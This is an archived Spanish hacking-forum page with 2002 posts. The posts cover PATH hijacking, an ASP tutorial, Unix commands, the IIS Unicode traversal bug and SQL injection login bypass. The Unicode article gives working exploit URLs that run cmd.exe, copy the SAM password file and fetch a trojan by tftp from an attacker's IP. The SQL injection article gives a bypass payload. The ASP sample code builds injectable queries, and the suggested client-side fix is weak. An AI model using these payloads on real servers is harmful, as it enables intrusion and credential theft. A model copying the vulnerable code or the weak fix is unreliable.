fichero shell script llamado ls, si un usuario entra en ese directorio y
teclea ls al tener en la variable PATH los .: buscaria primero en ese
directorio el programa ls y ejecutaria nuestro shell script, este shell
script podía hacer cualquier cosa y luego llamar al verdadero ls (/bin/ls),
el usuario habria ejecutado un programa que no es el /bin/ls y no se habria
dado ni cuenta.

Par evitar esto, dicha variable debe de asignarse como:

PATH:/usr/bin/:/usr/sbin: es decir con los dos puntos al final en lugar del
principio, de esta forma se buscaría por último en el directorio actual.

NOTA: Existen unos comandos para ver tanto las variables locales como las de
entorno y sus valores asignados, estos comandos son:

env

Muestra por pantalla las variables de entorno y sus valores.

set

Muestra tanto las variables de entorno como las locales.

unset acompa¤ado del nombre de la variable asigna a esta un valor NUL
(nulo).

El comando env en realidad es un programa que se encuentra en /usr/bin/env,
mientras que set y unset son propios de la shell.

Algunas variables Importantes:

Variables Valor Descripcion

ENV $HOME/.profile Ejecuta el fichero indicado al arrancar el shell.

HOME /home/usuario Contiene la ruta del directorio principal
del usuario.

TERM vt100 Contiene el tipo de terminal utilizado en
la conexion.

TIMOUT 600 Determina el tiempo que debe de estar el
terminal inactivo para que finalice
automaticamente la conexion.

Importante: Se permite la reproducción de este documento siempre que se mencione la fuente, el autor y se incluya un hiperenlace hacia su ubicación original.
5436  Informática / Software / Re:cambiar idioma en NERO en: 8 Septiembre 2002, 22:37 pm
http://ftp://ftp6.nero.com/Languages/n5599esp.exe
5437  Informática / Tutoriales - Documentación / Curso ASP en: 28 Agosto 2002, 15:58 pm
ASP->Active Server Pages

C++ | Visual Basic
|
Interpretado:javascript | VBScript
Servidor: PHP | ASP



PROGRAMACIÓN EN ASP:

Las páginas tienen una extensión .ASP
Los tags son <% %>

ejemplo:

prueba.asp

<% response.write "HOLA" %>


Variables:

No hace falta definirlas

dim var1

option explicit obligamos a definir todas las variables (recomendado)

vartype var1

Nos devuelve el tipo de una variable (un número)

vbEmpty --> 0
vbNull --> 1
vbInteger --> 2
vbLong --> 3
vbSingle --> 4
vbDouble --> 5
vbCurrency --> 6
vbDate --> 7
vbString --> 8
vbObject --> 9
vbError --> 10
vbBoolean --> 11
vbVariant --> 12
vbDataObject --> 13
vbBytc --> 17
vbArray --> 8192

Ejemplo:

dim var1
var1=6.0
response.write vartype (var1)

Resultado --> 5 (o sea double)

option explicit
response.write "Hola"
response.write var1

Resultado --> Variable no definida: 'var1'

-----------------------------------------

División Entera --> \
Potencia -- ^
Modulo --> Mod

Operadores de comparación:

=
<>

Concatenar: & (+)


and --> las dos son ciertas

or --> una de las dos es cierta

not -->lo contrario

xor --> cierto si solamente una de las dos es cierta.


function pepe(param1,param2)
pepe=5
end function

exit function para salir de una funcion

Procedimientos
sub PepeProc (par1,par2)
end sub

exit sub para salir del procedimiento


Para llamar a un procedimiento

call PepeProc ("Par1,"par2) o directamente PepeProc "par1","par2"


if condicion then
...
else
...
end if


select case(variable)
case "A": ...
case "B": ...
case "C": ...
case Else: ...
end select

function tipovariable(var)


for next

for a=1 to 5
..
next

do (while | until) ... loop


Do while a>0
...
loop

do until a=0
..
loop

While ... wend (Obsoleto)

For each ... in ...


For each elemento in Mi_Array


Salir bucles

Exit for (for)

Exit loop (while)

----------------------------
i=0
x=1
do while i<=9
i=i+1
resultado=x*i
response.write ""
response.write resultado
loop
----------------------------

Ámbito de las variables

- Página
Dim a
a=5

Esta variable tiene valor dentro de esta página (sólo en la página actual)

- Sesión
Válidas durante toda la visita del usuario (Dura hasta que se cierra el navegador o hasta que pasa un tiempo determinado)

Session("var")=5

- Aplicación
Válidas siempre, no caducan y se puede acceder para todos los usuarios.

Application("var")=7



Global.asa

InetPub/www.root

se carga siempre que un usuario abre una página asp
inicializaciones/terminaciones

session_onstart-->se activa cuando unusuario entra en la página
session_onend-->se desactiva cuando un usuario abandona la sesión pq ha pasado un tiempo o pq ha hecho un session_abandon
application_onstart--> se activa cuando el 1er usuario entra en la página web
application_onend --> se desactiva cuando ya no haya ninguna sesión activa

plantilla para un fichero global:


sub session_onstart
end sub
sub session_onend
end sub
sub application_onstart
application("visitas")=0
end sub
sub application_onend
end sub


PROPIEDADES:

session_id --> identificador de la sesión
timeout --> tiempo que queda de sesión

session.sessionid

MÉTODO:

abandon-->destruye la sesión actual y nos activa el evento session_onend.No destruye la sesión hasta que no se haya ejecutado todo el código.

contents.remove-->elimina una variable de sesión
contents.removeall-->elimina todas las variables de sesión
contents-->colección de elementos añadidos a la sesión

ejemplo:
session("var1")=1
session("var2")=2



Application

Lock --> bloquear

Unlock --> desbloquear

Application.lock
Application.("variable")="Hola"
Application.unlock

El objeto Server:

Propiedad:

ScriptTimeOut --> tiempo en segundos para ejecutar una página, sino lo hace en este tiempo da error. (Es como el max_execution_time = 30 del PHP)


CreateObject -> Crear objeto com

(Objeto COM --> objetos dentro de dlls que se encuentran en el directorio windows, y quedan para todas las aplicaciones windows. Se registran en el sistema, y cualquier programas puede acceder a ellas.

Execute -> ejecutar un ASP
GetLastError -> Último error
MapPath -> Carpeta física
HtmlEncode -> Codificar para HTML
UrlEncode -> Codificar una URL


Ejemplo:

El directorio raiz es:
<%=server.mappath("/") %>

Codigo sin codificar
<% response.write(" si a<b r>c") %>

Codigo codificado
<%=server.htmlencode(" si a<b r>c") %>

Prueba URL

<%=server.urlencode("dir=c/del carmen,25") %>

= sirve para response.write


Transfer -> redirecciona a otra página.


Objeto Request y Response


Request -> obtener variables
Response -> escribir valores

TotalBytes -> los bytes enviados al cliente en la petición.

ClientCertificate -> certificados
Cookies -> cookies
Form -> valoers formulario
QueryString -> valor URL
ServerVariables -> variables servidor


Ejemplo:

(Enviar la cookie antes de nada, o sea arriba de todo)
<% response.cookies("Cantidad")=5 %>

El valor de la cookie es:

<%=request.cookies("Cantidad") %>

Ejemplo Formulario:

<form name="form1" method="post" action="mostrar.asp">
<p> <font face="Verdana, Arial, Helvetica, sans-serif" size="2">Nombre
<input type="text" name="nombre">
</font></p>
<p> <font face="Verdana, Arial, Helvetica, sans-serif" size="2">Dirección
<input type="text" name="dire">
</font></p>
<p> <font face="Verdana, Arial, Helvetica, sans-serif" size="2">Teléfono
<input type="text" name="tel">
</font></p>
<p> <font face="Verdana, Arial, Helvetica, sans-serif" size="2">
<input type="submit" name="Submit" value="Submit">
</font></p>
</form>

---------------------------------------

Su nombre es: <%=request.form("nombre")%>
Su dirección es: <%=request.form("dire")%>
Su teléfono es: <%=request.form("tel")%>


Si el form method="get" entonces no podemos hacer request.form, sino querystring.

method="post" -> request.form
method="get" -> querystring

path_info
path_translated -> direccion fisica del disco duro
query_string -> cadena con parametros
remote_addr -> IP
remote_host -> Nombre de la maquina
request_method -> get o post
script_map -> base del URL
script_name -> ruta virtual
server_port -> puerto servidor
server_port_secure -> puerto SSL
server_protocol ->protocolo de comunicaciones
url -> URL
server_software -> servidor

Server Variables

Ejemplo Info.asp

<%=request.servervariables("server_port") %>
<%=request.servervariables("path_info") %>
<%=request.servervariables("server_software") %>
<%=request.servervariables("server_protocol") %>
<%=request.servervariables("script_name") %>
<%=request.servervariables("remote_host") %>
<%=request.servervariables("remote_addr") %>

etc,etc,etc

Objeto Response

Buffer -> cierto o falso (si es cierto hasta que no se acabe de ejecutar la pagina no se envian los datos, si es falso se va enviando) O todo o nada, si tenemos 50 registros, si el buffer esta true, o nos enseña los 50 o ninguno, si esta en false, nos enseña 10 por ejemplo.
CacheControl -> especificar si la pagina se guardará en caché en el proxy.
Expires -> tiempo que tiene que almacenarse esta pagina en caché.

AppendToLog -> se guardara en el fichero log del servidor.
Clear -> nos borra el buffer
End -> terminamos la pagina, y se envia este el buffer esta true o no.
FlusH -> envia lo que hay en el buffer, si esta true
Redirect -> redirecciona la pagina a otro sitio
Write -> para escribir
Coookies -> colección de galletas

Ejemplo:


<%
For x=1 to 1000
response.write (x)
response.write ""
next
%>

Va saliendo....

Y ahora

<%
response.buffer=true
For x=1 to 1000
response.write (x)
response.write ""
next
response.end
%>

Sale de golpe!!!

Más ejemplos:

login.htm
------------------------------------
<html>
<head>
<title>- Login </title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>
<body bgcolor="#FFFFFF" text="#000000">
<form name="form1" method="post" action="comprobar.asp">
<table width="41%" border="0" cellspacing="0" cellpadding="0" bgcolor="#999999" align="center">
<tr bgcolor="#333333">
<td colspan="3"> </td>
</tr>
<tr>
<td width="19%"><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Nombre</font></td>
<td width="55%">
<input type="text" name="nombre" maxlength="10">
</td>
<td width="26%" rowspan="3"> </td>
</tr>
<tr>
<td width="19%"><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Password</font></td>
<td width="55%">
<input type="password" name="pass" maxlength="20">
</td>
</tr>
<tr>
<td width="19%"> </td>
<td width="55%">
<input type="submit" name="Submit" value="Enviar">
</td>
</tr>
</table>
</form>
</body>
</html>
------------------------------------

comprobar.asp
------------------------------------
<%
if (request.form("nombre")="pepe") and (request.form("pass")="pepe") then
Session("nombre")=request.form("nombre")
response.redirect("correcto.asp")
else
response.redirect("incorrecto.asp")
end if
%>
------------------------------------

correcto.asp
------------------------------------
<%
response.write("Bievenido"&Session("nombre"))
%>
------------------------------------

incorrecto.asp
------------------------------------
<%
response.write("No tienes acceso")
%>
------------------------------------

Teoría:

En el IIS 5.0
ASP Error

ASPCode
Number
Description
File
Line
Column
Source
Category

variable+Error=server.getLastError

Página que abre el servidor cuando hay un erorr --> 500-100.asp

Conexiones con bases de datos

-> ODBC --> se puede conectar con cualquier base de datos que acepte ODBC


¿ Qué es el OBDC ? -> Conexión base de datos a través de Windows. Object Data Base Conection.

ADO -> colección de objetos para conectarse a la BD. WorkSpace, Recordset, etc

Primer paso:

Vamos a crear una base de datos con access:

clientes

IDCliente (autonúmerico)
Nombre
Direccion
Telefono

Clientes.mdb

Configuración
Panel de Control
Fuentes de datos ODBC

Data Source Name (DSN)

DSN Usuario
DSN Archivo (solo de un archivo)

DSN Usuario --> Agregar, Microsoft Acces-Driver, Nombre del Origen Clientes, Base de Datos (Seleccionar y cogemos cliente.mdb, en avanzadas podemos poner password, etc.

Set con= Server.CreateObject("ADODB.CONNECTION")
con.open "DSN=Clientes;UID=Nombre_usuario;PWD=Password;"

a-> Crear RecordSet
set mirs=con.execute("Select * from clientes") -> es como un mysql_query

mirs.eof
mirs.movenext
mirs("Nombre")
etc

b-> Ejecutar una consulta
con.execute=("Update...")

Variable de aplicación mejor, ponerlo en el global.asa, y luego llamarlo con un include.

response.write(mirs("Nombre"))

Ejemplo:

<%
Set con= Server.CreateObject("ADODB.CONNECTION")
con.open "DSN=Clientes;"

set mirs=con.execute("Select * from clientes")

do until mirs.eof
response.write(mirs("Nombre"))
mirs.movenext
loop

%>

Para actualizar y borrar registros:

conexion.asp

<%
Set con= Server.CreateObject("ADODB.CONNECTION")
con.open "DSN=Clientes;"

set mirs=con.execute("Select * from clientes")

do until mirs.eof

response.write("<form method=post action=edit.asp>")
response.write("<input type=hidden name=id value="&mirs("IDCliente")&">")
response.write(mirs("IDCliente"))
response.write("")
response.write(mirs("Nombre"))
response.write("")
response.write(mirs("Direccion"))
response.write("")
response.write(mirs("Telefono"))
response.write("")
response.write("<input type=submit value=Editar>")
response.write("</form>")
response.write("<hr>")
mirs.movenext
loop

%>

edit.asp

<%
Set con= Server.CreateObject("ADODB.CONNECTION")
con.open "DSN=Clientes;"

if request.form("Borrar")="Borrar" then
set mirs=con.execute("DELETE from clientes where IDCliente="&request.form("id")&"")
response.write ("Eliminado")
else
if request.form("Actualizar")="Actualizar" then
set mirs=con.execute("UPDATE clientes SET Nombre='"&request.form("Nombre")&"', Direccion='"&request.form("Direccion")&"', Telefono='"&request.form("Telefono")&"' where IDCliente="&request.form("id")&"")
response.write ("Actualizado")
else
set mirs=con.execute("Select * from clientes where IDCliente="&request.form("id")&"")

response.write("<form method=post>")
response.write("<input type=hidden name=id value="&mirs("IDCliente")&">")
response.write ("Nombre: <input type=text name=Nombre value="&mirs("Nombre")&">")
response.write("")
response.write ("Dirección: <input type=text name=Direccion value="&mirs("Direccion")&">")
response.write("")
response.write ("Telefono: <input type=text name=Telefono value="&mirs("Telefono")&">")
response.write("")
response.write("<input type=submit name=Actualizar value=Actualizar>")
response.write("<input type=submit name=Borrar value=Borrar>")
response.write("</form>")

end if

end if
%>

Funciones

var=array(1,2,3)

Join(matriz,caracter)
Join --> una matriz en una cadena
Split(cadena,delimitador)
Split --> una cadena la convierte en array


(Bod,Byte,CCur,CDate,CDBl,Chr,Clnt,Clong,Str) -> nos convierte cualquier variable en un tipo que le digamos

chr.Asc --> código ASCII

Funciones de Fecha
Time()
Now() --> fecha y hora actual

Date()

DateAdd(Internal,Cantidad,Fecha) --> suma la fecha que le digamos

Day(Fecha) Month(fecha) Year(fecha)
hour(fecha) minute(fecha) second(fecha)

DatePart(Inervalo,Fecha) --> q (cuarto trimestre) w (semana) y (dia del año) ww (semana del año)

FormatDateTime(fecha,formato) -> formatear una fecha o una hora
FormatDateTime(fecha,1)
FormatDateTime(fecha,2)
etc

InputBox(texto,titulo,valorpred,xpos,ypos)

InStr([conocimiento],cadena1, cadena2) -> buscar una cadena en otra (buscamos la cadena 2 en la cadena 1

Left(cadena,longitud)
Right(cadena,longitud)
Mid(cadena,longitud)

Obtener partes de una cadena
5438  Informática / Tutoriales - Documentación / Resumen Curso Telnet/Shell por Infohackers.org en: 28 Agosto 2002, 15:58 pm
ALGUNOS COMANDOS UNIX PARA EMPEZAR CON UNA SESION TELNET
Nota inicial: En Unix las mayúsculas y minúsculas son letras distintas. No es lo mismo 'dir' y 'DIR'.



Ayuda:
$ man Sobre el 'man'
$ man comando Ayuda de ese comando
$ man -k palabra_clave Busca por palabra clave

Tratamiento de ficheros:
$ cd directorio Cambia de directorio
$ cd .. Pasa al directorio superior
$ cd Pasa al directorio inicial
$ pwd Indica directorio actual

$ ls Muestra los ficheros del directorio ('dir')
$ ls -l dir completo: fecha, usuario, tamaño
$ mkdir directorio Crea un directorio
$ rmdir directorio Borra el directorio

$ rm fichero Borra un fichero ('del')
$ cp fich1 fich2 Copia fich1 como fich2 ('copy')
$ more fich Muestra el fichero pag a pag
$ cat fich ('type')
$ mv fich1 fich2 Renombra fich1 a fich2 ('ren')

En cualquier punto, completa el nombre o pita si hay posibilidad de varios. Para ver posibles nombres, Ctrl-D. Ctrl-e se posiciona a final de línea; Ctrl-a al principio.

Otros comandos:
$ whoami Indica quién eres
$ su - usuario Pide password, y pasa a ese usuario
$ telnet maquina Para conectarse a esa maquina

· Si da un error como: "connect(): Connection refused" se debe usar ' elnet'

$ history Muestra todo lo hecho
$ !numero Ejecuta ese comando
$ !v Ejecuta el "útimo comando que empieza por 'v'
$ passwd Cambio de password
$ finger Usuarios conectados de todo el departamento
$ finger usuario Para ver si está un usuario
$ talk usuario@maquina Para hablar con otro usuario



· Redireccionamiento de la salida:
Si se desea que la salida de un comando quede en un fichero:
$ comando > fich_salida
· Imprimir:
$ lpr nombre-fichero
Correo:

$elm
m) enviar un mensaje
return) ver el marcado
d) borrar el marcado
r) responder al marcado
f) forward del marcado
q) salir








Edición:
$emacs


Este texto ha sido extraido de http://www.infohackers.org/article.php?sid=239&mode=thread&order=0

Gracias a http://www.infohackers.org
5439  Informática / Tutoriales - Documentación / El bug del UNICODE en: 28 Agosto 2002, 15:57 pm
Fuente: Datahack.com Autor: Donatien

El bug del UNICODE
Qué es
Implicancias
En qué consiste realmente este bug?
Exploit
Lo que se puede llegar a hacer con un server que tenga el bug
Lo que supuestamente NO se puede hacer
Formas de evitar estas limitaciones
Cómo proteger a un servidor de esta vulnerabilidad
Parches de Microsoft que están disponibles


Qué es
El día 20/10/2000 Hispasec informó una de las vulnerabilidades más graves que podían afectar al Internet Information Server de Microsoft. Debido a ella, era posible ejecutar cualquier comando DOS en el servidor vulnerable casi tán fácilmente como en una consola de DOS por telnet.

(Nota publicada por Hispasec: http://hispasec.com/unaaldia.asp?id=726)

Implicancias
Traduciendo esto al lenguaje cotidiano, hay que decir que el 40% de los servidores web de la red se volvieron tán fáciles de hackear que cualquier aprendiz de hacker podía tomar el control completo del mismo.

(Haga click aquí para ver la galería de los sites hackeados)

En qué consiste realmente este bug?
Técnicamente hablando, el bug del Unicode consiste en un error por parte de los programadores de Internet Information Server de Microsoft, debido a que cada vez que un visitante solicita un archivo del servidor, IIS evalúa primero la cadena de la URL pedida en función de controlar que no escapen del árbol de directorios compartidos en el site (generalmente c:inetpubwwwroot), y recién después de realizada esta comprobación (altamente rigurosa y crítica para la seguridad del servidor) se traducen los caracteres especiales que el usuario envió codificados de acuerdo al set internacional conocido como Unicode.

Esto significa que (por ejemplo) el url:
http://www.servidor.com/scripts/..%c1%9c../autoexec.bat
sería evaluado por IIS y éste llegaría a la conclusión de que el visitante está pidiendo un archivo del directorio virtual "/scripts", intentando encontrar dentro de éste un subdirectorio llamado ..%c1%9c.. y dentro de él, el archivo autoexec.bat.
Pero a continuación, se realiza la interpretación de los códigos Unicode "%c1%9c" (que representan la barra) y el archivo que IIS le pediría al sistema operativo sería c:/inetpub/wwwroot/scripts/../../autoexec.bat, pero como scripts es un directorio virtual, el archivo sería c:/inetpub/wwwroot/../../autoexec.bat, es decir c:autoexec.bat.

Ya de por sí, esto es tan grave como dejar que cualquier persona pueda bajar el archivo de passwords del servidor con sólo conocer su ubicación por defecto, pero se ve extremadamente agravado por la forma en que IIS procesa los permisos de ejecución de los directorios, ya que "scripts/" tiene por defecto permisos de ejecución de CGI's y archivos ejecutables ISAPI, lo cual desemboca en la posibilidad de ejecutar programas en el servidor.

Como si esto fuera poco, al poder ejecutar el archivo cmd.exe (equivalente al command.com del viejo DOS) y pasarle a éste como parámetro la orden de que ejecute cualquier otro comando interno o externo, se tiene algo CASI tán versátil como una consola DOS por telnet.

Exploit
Básicamente, el exploit es tán sencillo como tipear lo siguiente en la linea de direcciones del explorador:

http://www.servidor.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:

y como respuesta obtener el listado del raíz del disco C:

En base a esta terrible negligencia de Microsoft, muchos "hackers" (con mínimos conocimientos de programación y redes) fueron capaces de hacer sus propios "exploits" (programas diseñados para aprovechar la vulnerabilidad)

Datahack también tiene una suite de esos programas, (gentileza de SSH Team) pero hemos decidido no difundirlo aún porque todavía es muy fácil encontrar servidores vulnerables, y hacer con éllos prácticamente lo que uno desee.

URL Scanner, de SSH Team:
Utilidad capaz de encontrar servidores vulnerables al bug del Unicode dando un ampli rango de IP's a escanear. (Tambien encuentra los servidores no vulnerables)




Uniconsole, de SSH Team:
Utilidad que permite explotar el bug casi como si se tratase de una linea de comandos de DOS, con el adiocional de que se conecta a través de un proxy norteamericano, es decir, de manera totalmente anónima, pero también más lenta.


Lo que se puede llegar a hacer con un server que tenga el bug
Dependiendo de cómo estén configurados los permisos de los directorios del servidor, el hacker tendrá un mayor o menor rango de acción.

IIS accede al disco (directorios y archivos) utilizando un usuario especial, generalmente llamado IUSR_NOMBREMAQUINA (por supuesto que NOMBREMAQUINA es distinto cada vez, y se corresponde justamente con el nombre de esa máquina).

El asunto es que en los casos en que IUSR_NOMBREMAQUINA tenga acceso total al disco, el server estará a total disposición del hacker, para cambiar o borrar cualquiera de sus archivos, Robar información y eliminar sus huellas.

Pero si el administrador del sitio tomó la precaución de quitarle a IUSR_NOMBREMAQUINA todo permiso de escritura en el arbol de wwwroot y todo permiso (de lectura y escritura) al resto del disco (o discos) el servidor estará a salvo de modificaciones y/o destrucción de archivos, pero no aún del robo de información.

Lo que supuestamente NO se puede hacer
A primera vista, no se pueden subir ni bajar archivos del servidor, ya que DOS no provee programas de línea de comando que se manejen con parámetros y establezcan y mantengan una conexión TCP/IP hasta enviado o recibido un archivo.

Si bien existe el programa FTP, que se maneja desde la línea de comandos, éste no permite especificar todos los datos cómo parámetros y llevar a cabo toda la transacción en un solo paso. Recordemos que este bug no dá al hacker un Telnet al DOS, sino "CASI" un Telnet al DOS. La diferencia es que con el bug del unicode cada vez que el hacker envía un comando DOS, este se ejecuta en una sesión totalmente distinta de la que ejecutó el comando anterior, y todo programa que se ejecute en esta particular consola deberá resolverse desde el principio hasta el final en una sola línea.

Un agravante es que este sistema no permite ningún tipo de redireccionamiento del input ni del output. (De otra forma sería muy fácil

Formas de evitar estas limitaciones
Encontrar la forma de bajar algo es muy fácil, y se hace muy evidente para cualquiera que preste un poco de atención. Alcanza con copiar el archivo que queramos bajar al directorio compartido por web, por ejemplo:
copy c:winntrepairsam._ c:inetpubwwwroot
que se ejecuta solicitando el url
http://www.server.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+copy c:winntrepairsam._+c:inetpubwwwroot
y luego sólo resta bajar con el navegador el archivo http://www.server.com/sam._


Arreglarselas para subir algo es algo mucho más complicado. Ya expliqué en el punto anterior que el método más evidente (el del comando FTP) no sirve en este caso.

Para ello se puede utilizar una variante que Windows NT y 2000 traen también por defecto en su instalación, llamada TFTP (Trivial FTP). La complicación extra es que el cliente TFTP no puede conectarse con cualquier servidor de FTP, sino con un servidor TFTP propiamente dicho.

De todas formas, encontrar un servidor TFTP no es demasiado difícil. Por ejemplo, el TFTP Daemon 32 es muy conocido, y se puede encontrar en http://ftp://ftp.cavebear.com/karl/tftpd32.zip

Una vez que lo tiene instalado, el hacker puede bajar un troyano al servidor desde su propia PC, ejecutando el comando "tftp.exe -i XXX.XXX.XXX.XXX GET troyano.exe" (claro que las X representan el IP del hacker).

Esto acarrea un inconveniente: hasta ahora el hacker podía ocultar su identidad con un simple proxy http, pero luego de esta maniobra de "upload" su IP quedará registrado en los logs del servidor. Los hackers suelen evitar esto usando un troyano en la PC de otra persona, redireccionando algunos puertos de la víctima a la porpia PC, y conectando el TFTP del server al IP de la víctima en lugar del propio. De esta forma el IP que queda registrado es el de la persona que tenía el troyano funcionando en ese momento.

Cómo proteger a un servidor de esta vulnerabilidad
Hay una serie de pasos necesarios para evitar esta vulnerabilidad:


1) Eliminar del IIS todos los directorios virtuales (scripts, msadc, iisadmpwd, etc, que generalmente no se usan)
2) Quitar a todos los directorios que lo tengan el permiso de ejecución de CGI's e ISAPI, dejando sólo el permiso de ejecución de scripts. (que suele ser suficiente para todo site basado en páginas ASP)
3) Quitar todo permiso de escritura al usuario IUSR_NOMBREMAQUINA dentro del arbol de wwwroot, y todo permiso (lectura y escritura) fuera de ese arbol de directorios.
4) Instalar Windows y los directorios compartidos en lugares diferentes de los que vienen por defecto (en otras palabras, evitar usar c:winnt y c:inetpub)
5) Cambiar el nombre al archivo cmd.exe
Parches de Microsoft que están disponibles
En el sitio web de Microsoft se pueden bajar parches para algunas versiones de IIS, sin embargo a la fecha de esta publicación aún no está disponible el parche para la versión en castellano de IIS, por lo cual se recomienda tomar las medidas enumeradas en el punto anterior.

http://www.datafull.com/datahack/notas/nota.php?codigo=8
5440  Informática / Tutoriales - Documentación / Acceso a webs ASP restringidas en: 28 Agosto 2002, 15:57 pm
Fuente: Hispahack Autor: MiST

Acceso a webs ASP restringidas
Antes que nada me gustaría decir que este artículo ha sido inspirado en el escrito de rain.forest.puppy "NT Web Technology Vulnerabilities" publicado en la Phrack número 54.

Las Active Server Pages (ASP) son paginas creadas en lenguaje visual basic script, además de los usuales tags html, las cuales son ejecutadas en el servidor y sus respuestas son enviadas al browser cliente. Normalmente se utilizan para hacer consultas a un motor de base de datos con driver ODBC, de ese modo pueden crearse páginas dinámicas de una forma muy sencilla.

Cada vez son más las empresas que apuestan por esta tecnología aunque, como explicaré seguidamente, en algunos aspectos hay que programarlas concienzudamente para evitar posibles intrusiones en la parte restringida del web.

Vamos al grano: Imaginemos una web de acceso restringido cualquiera, digámosle login.asp, donde hay que rellenar dos campos de texto de un formulario uno con el login y otro con el password. En el action del formulario hay chek_passwd.asp. El código asp de la consulta y acceso a datos de esta página sería mas o menos el siguiente:


Vamos a comentarlo un poco. Las marcas indican principio y fin de código a interpretar por el server por lo tanto código que el cliente no verá.

ConsultaSQL="SELECT * FROM tabla_de_usuarios WHERE login='" & _ request.querystring("login") & "' AND password='" & _
request.querystring("password) & "'"

Se carga en la variable ConsultaSQL la consulta (SQL claro).

SELECT * 'Selecciona todos los campos
FROM tabla_de_usuarios 'de la tabla de usuarios
WHERE login= 'que el login sea igual a
' 'inicio de cadena a comparar
"& 'inicio de variable
1_ 'continua en la siguiente línea
request.querystring("login") 'variable login pasada desde el formulario de la página
&" 'fin de variable
' 'fin de cadena a comparar
AND 'y lo mismo con la variable password mandada desde el formulario.


La consulta hablada seria "Seleccionar todos los campos de la tabla de usuarios donde el login sea el nombre introducido en el formulario y el password sea el password introducido en el formulario".

Prosigamos:

Set Conn = Server.CreateObject("ADODB.Connection")

Crea un objeto de conexión a datos ADODB el nombre del cual es Conn.

Conn.Open "DSN=websql;UID=Uid_page;PWD=pwd_page;DATABASE=page"

Abre la conexión con todos los parámetros necesarios para ello, servicio de datos, uid, password y base de datos.

Set recst = Server.CreateObject("ADODB.RecordSet")

Crea un objeto recordset llamado recst.

recst.ActiveConnection=Conn

Indica la conexión por la que el recordset se instanciará.

recst.Open ConsultaSQL

Instancia el recordset con los resultados de la consulta SQL vista anteriormente. Este recordset se utilizará ahora para generar las páginas dinámicas de la cuenta del usuario dentro del web, o si el recordset no se instancia con nada (login y/o password incorrecto), saldrá una página de error.

Y dónde está el problema? Muy señores míos, el problema se encuentra en el carácter ' . Si, tan pequeñito como es el delimitador de cadena a comparar es muy peligroso si no se controla ya que imaginemos que en el textbox del formulario donde piden el login ponemos la cadena:

loquesea' x

y en el password ponemos cualquier cosa, la página si no está bien programada nos dará la siguiente respuesta:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near 'x'.
/chek_passwd.asp, line 18

Con un poco de intuición podemos suponer que esta línea 18 coincide con la línea:

request.querystring("login") & "' AND password='" & _

ya que al instanciarse las variables del formulario la consulta quedará:

"SELECT * FROM tabla_de_usuarios WHERE login='loquesea' x'
AND password='qualquiercosa'"

Como vemos el formato de la consulta queda erróneo debido a los caracteres x' . Nuestro objetivo será pues sustituir estos caracteres erróneos por otros que puedan ser interpretados correctamente como consulta SQL, y que, de paso, nos de de retorno en el recordset datos válidos de la base de datos para entrar en el web. En mi opinión, muy cuestionable por cierto, una buena cadena sería:

loquesea' or nombre_atributo_bd like '%letra o numero%' or nombre_atributo_bd='algo

Ejemplo:

loquesea' or login like '%a%' or login='algo

De ese modo la consulta nos quedará:

"SELECT * FROM tabla_de_usuarios WHERE login='loquesea'
OR login like '%letra o numero%' OR login='algo'
AND password='qualquiercosa'"

Tengo que remarcar que letra o numero es una letra o un numero cualquiera, por ejemplo a (de administrador ). Esta consulta junto con el resto de código que le sigue nos dará un recordset con todos los datos de un usuario que su login contenga una a (si ponemos a), y por lo tanto entraremos en su cuenta dentro del web. Como veis el error se da por un descuido de programación, que, acompañado con una mala administración del IIS donde se alberga la página y un diseño poco cuidado de la misma, entrar en una web restringida puede ser muy sencillo. Una pregunta que podríamos hacernos una vez leído esto es: ¿Y cómo sé el nombre del atributo de la base de datos que contiene el nombre de usuario? En el ejemplo he utilizado login, pero es verdad, no hay modo de saberlo de una forma segura, aunque normalmente los programadores de asp cometemos el error de bautizar los textbox de los formularios con el mismo nombre que el atributo equivalente en la bd y solo con un vistazo al código html visible se puede deducir. Si eso no funciona siempre queda probar con los nombres típicos login, user, usuario, idusuario, etc.


SOLUCIÓN:

Para solucionar esta vulnerabilidad sólo hay que poner una pequeña rutina en javascript o en vbscript que mire las cadenas contenidas en las variables del request.querystring controlando que no contengan ninguna comilla. No estaría de más, pero, delimitar los textbox del formulario con maxlength para que no puedan introducirse cadenas demasiado largas. Eso no és ninguna solución definitiva, el atacante siempre podrá llamar al asp vulnerable desde la barra del browser o desde una copia local del web modificado, pero la cuestión és intentar hacer el trabajo del atacante lo más molesto posible. Tampoco estaría de más configurar el IIS para que al producirse un error dé como respuesta una página estándar de fallo y no la típica página que te dice el número de error y te chiva una parte del código del fichero asp. De ese modo el atacante no podrá disponer de información, como partes de la consulta, motivos del fallo, etc, que podría utilizar en su beneficio.

MiST

http://hispahack.ccc.de/mi027.htm
 
Páginas: 1 ... 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 [544] 545
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines